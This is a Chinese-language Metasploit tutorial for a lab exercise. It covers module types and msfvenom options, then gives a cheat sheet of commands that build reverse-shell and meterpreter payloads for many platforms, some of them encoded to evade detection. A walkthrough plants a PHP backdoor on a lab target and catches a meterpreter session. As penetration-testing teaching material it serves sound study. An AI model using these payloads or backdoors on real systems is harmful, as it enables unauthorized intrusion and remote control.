目录
一.简介
Metasploit Framework (简称MSF)是一款开源的渗透测试框架,它提供了数百个已知软件漏洞的专业级漏洞攻击工具和漏洞利用模块,为渗透测试,shellcode 编写和漏洞研究提供了一个可靠平台。
Kali里自带了MSF工具,使用命令 msfconsole 或者 双击MSF图标 即可以启动MSF。本篇就以Kali为实验环境来学习MSF。
二.MSF目录结构
1.安装目录
输入命令,可以查看MSF的安装目录。
cd /usr/share/metasploit-framework && ls
接下来简单介绍一些常用目录。
1.1 modules 模块
目录里面存放着渗透测试中需要使用的 7个模块。
1.2 plugins
需要用 load 加载,主要提供数据库连接插件和其他各种插件。
1.3 tool 工具
包含一些有用的脚本和零散的工具。
1.4 scripts
目录里存放着 meterpreter 利用的脚本。
1.5 db
包含了 Metasploit 中所有模块的信息以及描述数据库的当前状态。
1.6 data
存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件。
1.7 lib
库文件都保存在这个目录里。
2.核心模块 modules
MSF的所有模块都存放在 modules 这个文件夹下。
(1)auxiliary :辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
(2)exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。
(3)payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码。
(4)post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标机器发送的一些功能性
指令,如提权等。
(5)encoders:编码器模块,主要包含各种编码工具,对 payload 进行编码加密,以便绕过入侵检测和过滤系统。
(6)evasion:躲避模块,用来生成免杀 payload。
(7)nops:这里主要放着调整 shellcode 前置 nop 指令长度的工具。
三. Msfvenom
1.简介
Msfvenom 是 MSF 里的一个重要工具,它是 msfpayload(攻击载荷生成器 ) 和 msfencode (编码器)的组合,专门用于生成恶意载荷和编码,允许用户自己创建可以用来进行渗透测试的攻击载荷。
2. 常用参数
参数 | 作用 |
-l | 列出指定模块的所有可用资源 |
-p | 指定需要使用的payload(攻击荷载) |
-f | 指定输出格式 |
-e | 指定需要使用的encoder(编码器)编码免杀 |
-a | 指定payload的目标架构 |
-o | 指定保存payload输出的文件 |
-b | 设定规避字符集 |
-n | 为payload预先指定一个NOP滑动长度 |
-s | 设定有效攻击荷载的最大长度,即生成payload的最大长度,也就是文件的大小 |
-i | 指定payload的编码次数 |
-c | 指定一个附加的win32 shellcode文件 |
-x | 指定一个自定义的可执行文件作为模板 |
-k | 保护模板程序的动作,注入的payload作为一个新的进程运行 |
-v | 指定一个自定义的变量,以确定输出格式 |
3.各平台生成 payload 的常用命令
//Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -e 编码器路径 -b '\x00\x0a\xff'(规避字符集) -i 10 -f exe -o payload.exe
//Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f macho -o payload.macho
//Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -o payload.apk
//Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=ip地址 LPORT=端口号 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
//Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=ip地址LPORT=端口号 -f elf -o payload.elf
//php
msfvenom -p php/meterpreter_reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw > shell.php
//aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -f aspx -o payload.aspx
//JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw -o payload.jsp
//war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw - o payload.war
//nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw -o payload.js
//python
msfvenom -p python/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw -o payload.py
//perl
msfvenom -p cmd/unix/reverse_perl LHOST=ip地址 LPORT=端口号 -f raw -o payload.pl
//ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f raw -o payload.rb
//lua
msfvenom -p cmd/unix/reverse_lua LHOST=ip地址 LPORT=端口号 -f raw -o payload.lua
//windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -f c
//linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口号 -f c
//mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=ip地址 LPORT=端口号 -f c
四.实战演示
这里我通过一个PHP后门反弹连接的演示来熟悉一下 MSF 这个工具。
1.环境准备
靶机:Windows (装有小皮面板)
攻击机:Kali (自带 MSF)
2.实战过程
2.1 输入命令 msfconsole ,启动 MSF 。
2.2 使用 msfvenom ,生成 PHP 后门。
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机的ip lport=监听的端口号(可以任选一个,但是不能被占用) R>shell.php
2.3 进入 handler 监听模块。
use exploit/multi/handler
2.4 设置 payload (与上面生成 PHP 后门的 -p 参数一样)
set payload php/meterpreter/reverse_tcp
2.5 输入 options ,查看需要设置哪些参数,yes 表示需要我们自己设置,(有默认参数时可以不设置,也可以选择自己修改),no 表示不需要我们自己设置。
这里可以看到,LHOST 和 LPORT 都需要我们设置,虽然 LPORT 当前有设置值,但是与我们前面 payload 设置的端口号不一致,所以需要修改。
set lhost 攻击机ip
set lport 攻击机监听的端口号
2.6 设置完成后,可以通过 show options 查看当前设置是否成功。
2.7 快速地搭建一个简单的 http 服务,以供 payload 的上传下载。
python -m http.server 8080
2.8 通过在靶机上访问 ip 地址与端口号,把 shell.php 下载下来,然后把 shell.php 文件保存在靶机 phpstudy_pro 的 WWW 目录下。
2.9 回到 Kali 机上,输入 run ,同时在靶机上访问 shell.php 。
2.10 此时,我们获取到了 meterpreter ,就说明利用成功了。接着就可以进入后渗透阶段了。
五. Meterpreter
前文提到获取了 meterpreter ,就说明利用成功了。接着,就来讲讲什么是 Meterpreter 。
Meterpreter 是 Metasploit 框架中的一个扩展模块,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于在目标系统上执行命令!Meterpreter 在目标系统上运行时是完全驻留在内存中的,通常不会在磁盘上留下痕迹,所以没什么入侵痕迹,很难被杀毒软件监测到。